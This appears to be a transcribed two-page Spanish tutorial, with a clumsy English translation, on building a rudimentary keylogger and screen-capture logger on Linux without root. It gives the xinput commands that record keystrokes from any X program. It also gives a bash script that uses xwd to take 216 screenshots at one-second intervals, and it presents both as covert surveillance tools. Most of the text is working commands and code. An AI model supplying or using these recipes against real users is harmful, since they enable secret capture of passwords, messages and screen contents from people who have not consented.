Keylogger y Screen Key Logger en Linux Sin Permisos ROOT (How to Make a Keylogger and Screen Key...

2

Click here to load reader

Transcript of Keylogger y Screen Key Logger en Linux Sin Permisos ROOT (How to Make a Keylogger and Screen Key...

Page 1: Keylogger y Screen Key Logger en Linux Sin Permisos ROOT (How to Make a Keylogger and Screen Key Logger on Linux Without Permission ROOT)

Keylogger y ScreenKeylogger en Linux sin permisos ROOT (How to make a keylogger and ScreenKeylogger on Linux without permission ROOT)

Autor: JbyteSite: http://jbyte-security.blogspot.com/

Investigando un poco encontré una forma de hacer un keylogger en Linux la cual es:

Researching an bit I found a form of make a keylogger on Linux the which is:

1) Usando el programa de diagnostico estándar de Xorg el cual para usarlo como keylogger primero tendríamos que usar los siguientes comandos:

$ xinput list //Este comando listara todos los dispositivos de teclado que tu Xorg conoce, en este caso usaremos el ID del dispositivo que tenga "AT keyboard"

Luego usamos el siguiente comando para capturar las teclas presionadas por cualquier programa todo esto SIN permisos de root.

$ xinput test id

Este comando nos devolverá las teclas presionadas en scancodes.

Así de esta forma podemos hacer un keylogger muy rudimentario pero útil.

Page 2: Keylogger y Screen Key Logger en Linux Sin Permisos ROOT (How to Make a Keylogger and Screen Key Logger on Linux Without Permission ROOT)

En esta parte les mostrare como hacer un screenkeylogger en linux sin permisos de root.

Para esto usaremos el comando xwd que dumpea una imagen de una ventana x para mayor información del comando en el siguiente link: http://www.xfree86.org/current/xwd.1.html

Para lograr el screenkeylogger usamos el comando xwd de la siguiente forma:

$ xwd -root -screen > captura.xwd

Este comando no ara una captura de pantalla guardándola en un archivo xwd el cual podremos visualizar con cualquier programa en internet o podemos usar el siguiente comando para visualizar la captura desde consola.

$ xwud -in captura.xwd

Aca les dejo un script en bash del screenkeylogger

#!/bin/bash

# Developed by Jbyte # usage: bash ./screenkeylogger.sh

for ((i=0;i<=215;i+=1)); do

xwd -root -screen > captura$i.xwd echo "Captura"$i sleep 1

done

este script ira capturando la pantalla cada segundo y ara 216 capturas de pantalla que se almacenaran en el directorio del script si quieren variar el tiempo de captura simplemente modifiquen el sleep del script.